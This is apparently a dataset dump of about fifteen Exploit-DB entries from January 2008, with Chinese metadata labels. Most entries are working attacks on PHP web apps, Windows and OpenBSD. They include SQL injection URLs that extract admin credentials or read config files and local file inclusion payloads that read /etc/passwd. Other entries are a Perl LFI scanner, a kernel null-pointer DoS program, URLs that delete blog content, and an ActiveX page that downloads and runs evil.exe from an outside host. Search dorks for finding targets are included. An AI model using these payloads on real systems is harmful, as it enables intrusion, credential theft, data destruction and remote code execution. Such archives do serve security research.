QLWD/code_shield huggingface dataset:
标题: Mini File Host 1.2 - 'language' Local File Inclusion EDB-ID: 4930 CVE: 2008-0357 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-17 漏洞利用脚本: #########################################################################
#         Mini File Host <= 1.2 Local File Inclusion Vulnerability      #
#########################################################################
AUTHOR     : Scary-Boys       #
HOME       : http://scary-boys.com     #
Download   : http://galaxyscripts.com/forum/downloads.php?do=file&id=1  #
#########################################################################
DorKs      : "Powered By Mini File Host V1.2"            #
#########################################################################
## EXPLOIT :                                             #
http://server.com/Path/pages/upload.php?language=[-LFI-]   #
#########################################################################
## GREETZ  : S.W.A.T. My Best Friend For Founding This Vuln & Helped Me #
#########################################################################

http://www.galaxyscripts.com/demo/mfh12/

# milw0rm.com [2008-01-17] URL: https://www.exploit-db.com/exploits/4930
标题: PHPEcho CMS 2.0 - 'id' SQL Injection EDB-ID: 4929 CVE: 2008-0355 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-17 漏洞利用脚本: #########################################################################
    PHPEcho CMS Remote SQL Injection Exploit
#########################################################################
## Product:       PHPEchoCM
## License:       GPL
## For version:   2.0 
## AUTHOR : Stack-Terrorist [ v40]
## HOME : http://v4-team.com
## EMAIL: v.4@hotmail.fr & dj-moad@hotmail.fr
## download script : http://sourceforge.net/project/showfiles.php?group_id=186100

## EXPLOITS :
username :
http://server.com/Path/index.php?module=forum&show=section&id=-1%20union%20select%201,username,3,4%20from%20phpecms_users%20where%20id=1/*
password :
http://server.com/Path/index.php?module=forum&show=section&id=-1%20union%20select%201,password,3,4%20from%20phpecms_users%20where%20id=1/*

## GREETZ  : All members v4 Team & no-hack & tryag & soqor
#########################################################################
         PHPEcho CMS Remote SQL Injection Exploit
#########################################################################

# milw0rm.com [2008-01-17] URL: https://www.exploit-db.com/exploits/4929
标题: Gradman 0.1.3 - 'agregar_info.php' Local File Inclusion EDB-ID: 4926 CVE: 2008-0361 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-16 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+     Gradman <= 0.1.3  (agregar_info.php?tabla=) Local File Inclusion Exploit       +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Gradman <= 0.1.3
[~] HomePage: http://gradman.xe1ido.com.mx/
[~] Exploit: Local File Inclusion [High]
[~] Where: agregar_info.php?tabla=
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Dork: "powered by Gradman"
[~] Dork2: Priv8, xD!


[+] Exploit:

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "\t\t########################################################\n\n";
print "\t\t#    Gradman <= 0.1.3 - Local File Inclusion Exploit   #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";


if (!$ARGV[0])
{
print "Usage: perl xpl.pl [HOST]\n";
print "Example: perl xpl.pl http://localhost/gradman/\n";
}

else
{

$web=$ARGV[0];
chomp $web;

$iny="agregar_info.php?tabla=../../../../../../../../../../../../../../../../etc/passwd%00";

my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}

}


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-01-16] URL: https://www.exploit-db.com/exploits/4926
标题: Gradman 0.1.3 - 'info.php' Local File Inclusion EDB-ID: 4936 CVE: 2008-0393 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-18 漏洞利用脚本: Software: Gradman <= 0.1.3
HomePage: http://gradman.xe1ido.com.mx/
Software: Gradman <= 0.1.3
Exploit:  Local File Inclusion [High]
Dork:    "powered by Gradman"
Bug Found By: Syndr0me! site: www.remoteexecution.es
Where: info.php?tabla=
Greetz: S4nt0!, Yubix, Xarnuz, Chame, Electr0cbax, komtec1, f34r
[+] Exploit:
info.php?tabla=../../../../../../../../../../../../../../../../etc/passwd%00

# milw0rm.com [2008-01-18] URL: https://www.exploit-db.com/exploits/4936
标题: OpenBSD 4.2 - 'rtlabel_id2name()' Local Null Pointer Dereference Denial of Service EDB-ID: 4935 CVE: 2008-0384 类型: DOS 平台: BSD 发布日期: 2008-01-18 漏洞利用脚本: /*
 * OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl]
 * Null Pointer Dereference local Denial of Service Exploit
 *
 * by Hunger <rtlabdos@hunger.hu>
 *
 * Advisory:
 * http://marc.info/?l=openbsd-security-announce&m=120007327504064
 *
 * FOR TESTING PURPOSES ONLY!
 *
 * $ uname -mrsv
 * OpenBSD 4.2 GENERIC#375 i386
 * $ id
 * uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
 * $ ftp -V http://hunger.hu/rtlabdos.c
 * 100% |******************************************|  1814        00:00
 * $ gcc rtlabdos.c -o rtlabdos
 * $ ./rtlabdos
 * uvm_fault(0xd617865e0, 0x0, 0, 1) -> e
 * kernel: page fault trap, code=0
 * Stopped at      strlcpy+0x1c:    movb     0(%edx),%al
 * ddb> trace
 * strlcpy(d826fd98,0,20,6,d61772a0) at strlcpy+0x1c
 * ifioctl(d6033280,c0206983,d826fe78,d616696c,d61772a0) at ifioctl+0xa0d
 * sys_ioctl(d616696c,d826ff68,d826ff58,1c000680,73) at sys_ioctl+0x125
 * syscall() at syscall+0x24a
 * --- syscall (number 54) ---
 * 0xf557d1:
 * ddb> show registers
 * ds                  0x10
 * es                  0x10
 * fs                  0x58
 * gs                  0x10
 * edi                    0
 * esi                 0x20
 * ebp           0xd826fd60        end+0x7a33a90
 * ebx           0xd826fd98        end+0x7a33ac8
 * edx                    0
 * ecx                 0x1f
 * eax                    0
 * eip           0xd064acb0        strlcpy+0x1c
 * cs                   0x8
 * eflags           0x10212
 * esp           0xd826fd54        end+0x7a33a84
 * ss            0xd8260010        end+0x7a23d40
 * strlcpy+0x1c:   movb    0(%edx),%al
 * 
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>

int
main(void)
{
struct ifreq ifr = { .ifr_name = "lo0" };

return ioctl(socket(AF_INET, SOCK_DGRAM, 0), SIOCGIFRTLABEL, &ifr);
}

// milw0rm.com [2008-01-18] URL: https://www.exploit-db.com/exploits/4935
标题: PHP-RESIDENCE 0.7.2 - 'Search' SQL Injection EDB-ID: 4925 CVE: 2008-0353 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-16 漏洞利用脚本: #####################################################################################
####                PHPRESIDENCE 0.7.2 Remote Sql Injection                      ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm)                                                        #
#                                                                                   #
#Script Download : http://www.digitaldruid.net/download/php-residence_0.7.2.zip     #
#                                                                                   #
#Vulnerability Page: http://site.com/path/visualizza_tabelle.php?id_sessione=&anno=2006&tipo_tabella=clienti
#                                                                                   #
#Search query : 99999'union/**/select/**/idutenti,nome_utente,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/utenti/*
#                                                                                   #
#Help : Go Vulnerability Page and Type Search Query in the textbox . Now you can    #
#        see Admin Username And Password                                            #
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-16] URL: https://www.exploit-db.com/exploits/4925
标题: MailBee WebMail Pro 4.1 - Remote File Disclosure EDB-ID: 4921 CVE: 2008-0333 类型: WEBAPPS 平台: ASP 发布日期: 2008-01-16 漏洞利用脚本: homepage: www.afterlogic.com
example:
http://www.xxx.com/webmail-pro-net/download_view_attachment.aspx?temp_filename=../../../../../../../../../../../../../../../../../../boot.ini
-=M.o.B=-

# milw0rm.com [2008-01-16] URL: https://www.exploit-db.com/exploits/4921
标题: FaScript FaPersianHack 1.0 - SQL Injection EDB-ID: 4917 CVE: 2008-0326 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-15 漏洞利用脚本: #####################################################################################
####           FaScript FaPersianHack v1 Remote Sql Injection                    ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://fascript.com/fapersianhack.zip                            #
#                                                                                   #
#Injection Adress :  http://Sitename/ph/show.php?id=<SqL Code>                      #
#                                                                                   #
#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
#       You can open this file with load_file Function in mysql and see admin       #
#       Username and password in Page Source                                        #
#                                                                                   #
# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
#                                                                                   #
#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),3,4,5,6/**/from/**/mysql.user/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-15] URL: https://www.exploit-db.com/exploits/4917
标题: Aria 0.99-6 - 'page' Local File Inclusion EDB-ID: 4920 CVE: 2008-0332 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-16 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-002


Application:                    aria-0.99-6 (Web based ERP)
Versions Affected:              aria-0.99-6
Vendor URL:                     http://www.tucows.net/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       09.01.2008
Vendor Response:                None
Date of Public Advisory:        15.01.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Aria has Local File Include vulnerability in page arias/help/effect.php 


Code
****

############################################

  if (empty($_GET['page'])) {
        $page = 'help.php';
    } else {
        $page = $_GET['page'];
    }
    if (false == is_file($page)) {
        $page = 'file_not_found.php';
    }
    include($page);
}

############################################


Example: 

http://[server]/[installdir]/arias/help/effect.php?page=[file]


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-01-16] URL: https://www.exploit-db.com/exploits/4920
标题: Miniweb 0.8.19 - Multiple Vulnerabilities EDB-ID: 4923 CVE: 2008-0338 2008-0337 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-16 漏洞利用脚本: MiniWeb Multiple Vulnerabilities

Introduction
MiniWeb is a mini HTTP server implementation written in C language,
featuring low system resource consumption, high efficiency, good
flexibility and high portability.
It is capable to serve multiple clients with a single thread,
supporting GET and POST methods, authentication, dynamic contents
(dynamic web page and page variable substitution) and file uploading.
MiniWeb runs on POSIX complaint OS, like Linux, as well as Microsoft Windows.
 
vulnerability discovered by : Hamid Ebadi  (ebadi _AT_ bugtraq.ir)

http://www.bugtraq.ir

complete advisory and also source code auditing can be found at :

 http://www.bugtraq.ir/adv/miniweb_persian.pdf  (persian)
 http://www.bugtraq.ir/adv/miniweb_english.pdf  (english)

vulnerable version : MiniWeb 0.8.19 (C)2005 Written by Stanley Huang
http://miniweb.sourceforge.net/
http://sourceforge.net/projects/miniweb

Description:

directory traversals  :

An input validation error in the URL request handling in
mwGetLocalFileName()   function ( http.c)  can  be exploited to
disclose arbitrary files (and also Directory listing)  outside the web
root via directory traversals  attacks via the " /.%2e/" or "/%2e%2e/"
 sequences

Proof of Concept :
Directory listing:
http://127.0.0.1:80/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/

disclose arbitrary files:
http://127.0.0.1:80/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/boot.ini


Heap based buffer overflow vulnerability :

There is also heap based buffer overflow in this web server
The vulnerability is caused due to a boundary error in
_mwProcessReadSocket() function (http.c) when handling HTTP requests.
This can be exploited by sending an overly long, specially crafted
request, which can cause a heap overflow and allow arbitrary code
execution with the privileges of the web service.


Proof of Concept :
GET /AAAA...[3600 - 4000]...AAAA/ HTTP/1.0

Solution:
Edit the source code (for more information see this article)

http://www.bugtraq.ir/adv/miniweb_persian.pdf  (persian)
http://www.bugtraq.ir/adv/miniweb_english.pdf  (english)

Copyright  : http://www.bugtraq.ir

# milw0rm.com [2008-01-16] URL: https://www.exploit-db.com/exploits/4923
标题: FaScript FaName 1.0 - SQL Injection EDB-ID: 4915 CVE: 2008-0328 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-15 漏洞利用脚本: #####################################################################################
####                FaScript FaName v1 Remote Sql Injection                      ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://www.hotscripts.com/Detailed/66472.html                    #
#                                                                                   #
#Injection Adress :  http://Sitename/faname/page.php?id=<SqL Code>                  #
#                                                                                   #
#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
#       You can open this file with load_file Function in mysql and see admin       #
#       Username and password in Page Source                                        #
#                                                                                   #
# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
#                                                                                   #
#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),2,3/**/from/**/mysql.user/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-15] URL: https://www.exploit-db.com/exploits/4915
标题: LulieBlog 1.0.1 - Remote Authentication Bypass EDB-ID: 4912 CVE: 2008-0329 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-15 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
LulieBlog 1.0.1 (delete id) Remote Admin Bypass Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

bug found by ka0x
contact: <ka0x01[at]gmail.com>
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
#from spain

download: http://www.comscripts.com/scripts/php.lulieblog.2138.html

Description:
- The bug will allow us to acept sent comments in the articles,
erase comments and delete articles


accept comments:
http://[host]/Admin/comment_accepter.php?id=[id_comment]

------------------
$id=$_GET["id"];
$sql="UPDATE ".PREFIX_TABLES."commentaire  SET actif = 1 WHERE idcom  = '$id'";
------------------


delete comments:
http://[host]/Admin/comment_refuser.php?id=[id_comment]

------------------
$id=$_GET["id"];
$sql="DELETE FROM ".PREFIX_TABLES."commentaire WHERE idcom  = '$id'";
------------------


delete article:
http://[host]/Admin/article_suppr.php?id=[id_article]

------------------
$id=$_GET["id"];
$sql="DELETE FROM ".PREFIX_TABLES."article WHERE numart='$id'";
------------------


example:
---------
http://localhost/lulieblog/Admin/article_suppr.php?id=4
Delete the article with id=4

# milw0rm.com [2008-01-15] URL: https://www.exploit-db.com/exploits/4912
标题: FaScript FaPersian Petition - SQL Injection EDB-ID: 4916 CVE: 2008-0325 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-15 漏洞利用脚本: #####################################################################################
####           FaScript FaPersian Petition Remote Sql Injection                  ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://fascript.com/fapersianpetition.zip                        #
#                                                                                   #
#Injection Adress :  http://Sitename/fp/show.php?id=<SqL Code>                      #
#                                                                                   #
#                                                                                   #
#SQL For find Username and password : 999999'%20union/**/select/**/0,1,2,3,4,5,6,concat(0x3c62723e200d0a4c6f67696e3a,email,0x3c62723e200d0a50617373776f72643a,password),8,9,10,11/**/from/**/member/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-15] URL: https://www.exploit-db.com/exploits/4916
标题: FaScript FaMp3 1.0 - SQL Injection EDB-ID: 4914 CVE: 2008-0327 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-15 漏洞利用脚本: #####################################################################################
####               FaScript FaMp3 v1 Remote Sql Injection                        ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://www.fascript.com/persian.rar                              #
#                                                                                   #
#Injection Adress :  http://127.0.0.1/famp3/show.php?id=<SqL Code>                  #
#                                                                                   #
#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
#       You can open this file with load_file Function in mysql and see admin       #
#       Username and password in Page Source                                        #
#                                                                                   #
# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
#                                                                                   #
#SQL Code for pconfig.php : 999999'%20union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,load_file(0x2e2f61646d696e2f70636f6e6669672e706870)/**/from/**/mysql.user/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-15] URL: https://www.exploit-db.com/exploits/4914
标题: Macrovision FlexNet - 'isusweb.dll' DownloadAndExecute Method EDB-ID: 4913 CVE: 2008-4586 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-15 漏洞利用脚本: <!-- 
Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit
Implemented Categories:
Category: Safe for Scripting
Written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, isusweb.dll version 6.1.100.61372 
-->
<html>
 <head>
  <title>Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
                     obj.DownloadAndExecute("Bla","{11111111-1111-1111-1111-111111111111}",0,"http://www.evilsite.com/evil.exe","evil.exe");           
          
    } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:1DF951B1-8D40-4894-A04C-66AD824A0EEF" height="0" width="0">
     Unable to create object
    </object>
 </body>
</html>

# milw0rm.com [2008-01-15] URL: https://www.exploit-db.com/exploits/4913